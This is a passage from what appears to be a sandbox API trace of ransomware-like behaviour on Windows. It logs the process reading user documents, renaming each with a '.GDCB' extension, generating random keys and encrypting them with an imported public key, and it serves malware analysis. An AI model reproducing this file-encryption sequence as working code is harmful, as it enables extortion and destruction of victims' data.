(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\2eXJAztyYmvvQ\\eVSTo2lZP Wdy7GN.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\2exjaztyymvvq\\evsto2lzp wdy7gn.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0139.408] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.408] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0139.408] ReadFile (in: hFile=0x4f0, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285efc0*=0xa303, lpOverlapped=0x0) returned 1 [0139.419] VirtualAlloc (lpAddress=0x0, dwSize=0xa310, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0139.423] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\2eXJAztyYmvvQ\\eVSTo2lZP Wdy7GN.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\2exjaztyymvvq\\evsto2lzp wdy7gn.doc"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\2eXJAztyYmvvQ\\eVSTo2lZP Wdy7GN.doc.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\2exjaztyymvvq\\evsto2lzp wdy7gn.doc.gdcb")) returned 1 [0139.424] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0139.427] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.427] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.427] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0139.427] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.427] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0139.429] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.429] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.429] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0139.429] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.429] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0139.437] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x358798) returned 1 [0139.437] CryptGetKeyParam (in: hKey=0x358798, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0139.437] CryptEncrypt (in: hKey=0x358798, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0139.437] GetLastError () returned 0x0 [0139.437] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.437] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed0e0) returned 1 [0139.445] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x358d98) returned 1 [0139.445] CryptGetKeyParam (in: hKey=0x358d98, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0139.445] CryptEncrypt (in: hKey=0x358d98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0139.445] GetLastError () returned 0x0 [0139.445] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0139.445] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\2eXJAztyYmvvQ\\mS4m0NY7CUhf.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\2exjaztyymvvq\\ms4m0ny7cuhf.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0139.445] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.445] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0139.446] ReadFile (in: hFile=0x4f0, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285efc0*=0x1399c, lpOverlapped=0x0) returned 1 [0139.455] VirtualAlloc (lpAddress=0x0, dwSize=0x139a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0139.460] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\2eXJAztyYmvvQ\\mS4m0NY7CUhf.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\2exjaztyymvvq\\ms4m0ny7cuhf.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\2eXJAztyYmvvQ\\mS4m0NY7CUhf.docx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\2exjaztyymvvq\\ms4m0ny7cuhf.docx.gdcb")) returned 1 [0139.461] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0139.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.463] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.463] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0139.463] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.463] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0139.466] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.466] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.466] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0139.466] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.466] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0139.474] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x3587d8) returned 1 [0139.474] CryptGetKeyParam (in: hKey=0x3587d8, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0139.474] CryptEncrypt (in: hKey=0x3587d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0139.474] GetLastError () returned 0x0 [0139.474] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.474] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0139.488] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x3589d8) returned 1 [0139.488] CryptGetKeyParam (in: hKey=0x3589d8, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0139.488] CryptEncrypt (in: hKey=0x3589d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0139.488] GetLastError () returned 0x0 [0139.488] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.488] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\2eXJAztyYmvvQ\\XrBuw45rasubttu.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\2exjaztyymvvq\\xrbuw45rasubttu.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0139.488] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.488] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0139.489] ReadFile (in: hFile=0x4f0, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285efc0*=0x85f4, lpOverlapped=0x0) returned 1 [0139.498] VirtualAlloc (lpAddress=0x0, dwSize=0x8600, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0139.501] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\2eXJAztyYmvvQ\\XrBuw45rasubttu.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\2exjaztyymvvq\\xrbuw45rasubttu.odp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\2eXJAztyYmvvQ\\XrBuw45rasubttu.odp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\2exjaztyymvvq\\xrbuw45rasubttu.odp.gdcb")) returned 1 [0139.502] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0139.505] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.505] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.505] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0139.505] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.505] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0139.507] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.507] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.507] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0139.507] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.507] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed0e0) returned 1 [0139.517] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x3588d8) returned 1 [0139.517] CryptGetKeyParam (in: hKey=0x3588d8, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0139.517] CryptEncrypt (in: hKey=0x3588d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0139.518] GetLastError () returned 0x0 [0139.518] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0139.518] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecfd0) returned 1 [0139.525] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x358ad8) returned 1 [0139.525] CryptGetKeyParam (in: hKey=0x358ad8, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0139.525] CryptEncrypt (in: hKey=0x358ad8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0139.525] GetLastError () returned 0x0 [0139.525] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.525] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\2eXJAztyYmvvQ\\zbt 1EdBZB.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\2exjaztyymvvq\\zbt 1edbzb.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0139.526] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.526] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0139.526] ReadFile (in: hFile=0x4f0, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285efc0*=0x42f, lpOverlapped=0x0) returned 1 [0139.541] VirtualAlloc (lpAddress=0x0, dwSize=0x430, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0139.545] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\2eXJAztyYmvvQ\\zbt 1EdBZB.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\2exjaztyymvvq\\zbt 1edbzb.csv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\2eXJAztyYmvvQ\\zbt 1EdBZB.csv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\2exjaztyymvvq\\zbt 1edbzb.csv.gdcb")) returned 1 [0139.547] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.550] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.550] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.550] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0139.550] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.550] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0139.552] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.552] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.552] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0139.552] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0139.552] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0139.561] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358b58) returned 1 [0139.561] CryptGetKeyParam (in: hKey=0x358b58, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.561] CryptEncrypt (in: hKey=0x358b58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0139.561] GetLastError () returned 0x0 [0139.561] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0139.561] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.568] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358f18) returned 1 [0139.569] CryptGetKeyParam (in: hKey=0x358f18, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.569] CryptEncrypt (in: hKey=0x358f18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0139.569] GetLastError () returned 0x0 [0139.569] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.569] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\Gr2Zxvd.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\gr2zxvd.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0139.569] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.569] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0139.569] ReadFile (in: hFile=0x4ec, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285f248*=0x2ab6, lpOverlapped=0x0) returned 1 [0139.584] VirtualAlloc (lpAddress=0x0, dwSize=0x2ac0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0139.587] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\Gr2Zxvd.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\gr2zxvd.ots"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\Gr2Zxvd.ots.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\gr2zxvd.ots.gdcb")) returned 1 [0139.588] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.591] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.591] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.591] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0139.591] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.591] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.593] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.593] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.593] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0139.593] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.593] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0139.601] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358bd8) returned 1 [0139.601] CryptGetKeyParam (in: hKey=0x358bd8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.601] CryptEncrypt (in: hKey=0x358bd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0139.601] GetLastError () returned 0x0 [0139.601] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0139.601] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0139.612] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358b98) returned 1 [0139.612] CryptGetKeyParam (in: hKey=0x358b98, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.612] CryptEncrypt (in: hKey=0x358b98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0139.612] GetLastError () returned 0x0 [0139.612] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0139.612] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\IP7roZ19.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\ip7roz19.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0139.613] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.613] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0139.613] ReadFile (in: hFile=0x4ec, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285f248*=0xf5be, lpOverlapped=0x0) returned 1 [0139.623] VirtualAlloc (lpAddress=0x0, dwSize=0xf5c0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0139.627] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\IP7roZ19.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\ip7roz19.ots"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\IP7roZ19.ots.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\ip7roz19.ots.gdcb")) returned 1 [0139.629] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0139.631] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.631] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.631] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0139.631] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0139.631] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.633] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.633] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.633] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0139.633] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.634] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0139.641] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358918) returned 1 [0139.641] CryptGetKeyParam (in: hKey=0x358918, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.641] CryptEncrypt (in: hKey=0x358918, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0139.641] GetLastError () returned 0x0 [0139.641] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0139.641] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.655] CryptImportKey (in: hProv=0x2ecc18, 